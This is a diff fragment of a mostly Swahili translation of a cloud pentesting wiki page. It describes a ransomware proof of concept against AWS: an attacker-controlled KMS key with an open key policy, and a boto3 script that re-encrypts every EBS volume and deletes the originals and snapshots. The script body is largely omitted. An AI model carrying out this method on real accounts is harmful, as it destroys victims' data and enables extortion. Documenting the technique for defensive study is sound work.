inaitwa 'Outside Encryption' +Kwanza, kutoka kwa 'attacker' AWS account, tengeneza customer managed key katika KMS. Kwa mfano huu tutajiruhusu AWS kusimamia key data yangu, lakini katika hali halisi a malicious actor angehifadhi key data nje ya udhibiti wa AWS. Badilisha key policy ili kuruhusu AWS account Principal yoyote kutumia key. Kwa key policy hii, jina la account lilikuwa 'AttackSim' na policy rule inayoruhusu ufikiaji wote inaitwa 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -494,15 +497,15 @@ Next, return to the key policy in the 'attacker' account and remove the 'Outside ] } ``` -Subiri muda mfupi ili sera ya ufunguo iliyowekwa hivi karibuni ipenye. Kisha rudi kwenye akaunti ya 'victim' na jaribu ku-attach moja ya EBS volumes mpya zilizofichwa (encrypted). Utagundua kuwa unaweza ku-attach volume. +Subiri kidogo ili sera ya ufunguo iliyowekwa hivi karibuni isambae. Kisha rudi kwenye akaunti ya 'victim' na jaribu kuambatisha moja ya volumes za EBS zilizofichwa hivi karibuni. Utagundua kwamba unaweza kuambatisha volume. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Lakini unapo jaribu kuanzisha tena instance ya EC2 ukiwa ume-attach EBS volume iliyofichwa (encrypted), itashindwa na itarudi kutoka kwenye hali ya 'pending' hadi 'stopped' kwa muda usioamuliwa kwa sababu EBS volume iliyounganishwa haiwezi kuo-decrypt kwa kutumia key kwa kuwa sera ya ufunguo haijiruhusu tena. +Lakini unapo jaribu kuanzisha tena EC2 instance ukiwa umeshikilia volume ya EBS iliyofichwa, itashindwa tu na itarudi kutoka kwenye hali ya 'pending' tena hadi hali ya 'stopped' kwa sababu volume ya EBS iliyounganishwa haiwezi kufunguliwa kwa kutumia ufunguo kwa kuwa sera ya ufunguo haiviruhusu tena. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Hii ni python script iliyotumika. Inachukua AWS creds za akaunti ya 'victim' na thamani ya AWS ARN inayopatikana hadharani kwa key itakayotumika kwa encryption. Script itatengeneza nakala za encrypted za ALL available EBS volumes zinazounganishwa na ALL EC2 instances katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, itadetach EBS volumes asili, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itaacha tu encrypted EBS volumes katika akaunti ya 'victim' iliyolengwa. TUMIA SCRIPT HII TU KATIKA MAZINGIRA YA MAJARIBIO; INAHARIBU NA ITAFOUTA VOLUME ZOTE ASILI ZA EBS. Unaweza kuzirejesha kwa kutumia KMS key iliyotumika na kuzirejesha katika hali yao ya awali kupitia snapshots, lakini napenda kukufahamisha kuwa mwishowe ni ransomware PoC. +Hii ndiyo python script iliyotumika. Inachukua AWS creds za akaunti ya 'victim' na thamani ya ARN ya AWS inayopatikana kwa umma kwa ufunguo utakaotumika kwa encryption. Script itafanya nakala zilizosimbwa za ALL available EBS volumes zilizounganishwa na ALL EC2 instances katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, itatenganisha volumes za EBS za awali, kuzifuta, na mwishowe kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itaacha tu volumes za EBS zilizosimbwa katika akaunti ya 'victim' iliyolengwa. TUMIA SCRIPT HII TU KATIKA MILINGO YA MAJARIBU, NI YA KUHARIBU NA ITAFUTA VOLUMES ZOTE ZA AWALI ZA EBS. Unaweza kuzirejesha kwa kutumia KMS key iliyotumika na kuziweka katika hali yao ya awali kupitia snapshots, lakini nataka tu kukufahamisha kuwa mwishowe ni PoC ya ransomware. ``` import boto3 import argparse @@ -621,8 +624,10 @@ main() ``` ## Marejeo +- - [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) -- [Latacora ecs-on-ec2-gaps-in-imds-hardening repo ya Terraform](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) -- [Pentest Partners – Jinsi ya kuhamisha faili katika AWS kutumia SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) +- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) + {{#include ../../../../banners/hacktricks-training.md}}